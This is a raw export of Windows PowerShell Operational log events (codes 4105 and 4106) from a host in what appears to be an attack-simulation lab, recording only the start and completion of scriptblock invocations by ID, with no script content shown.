Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041697
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041691
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041690
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041689
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041688
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041672
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041671
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041666
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041665
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
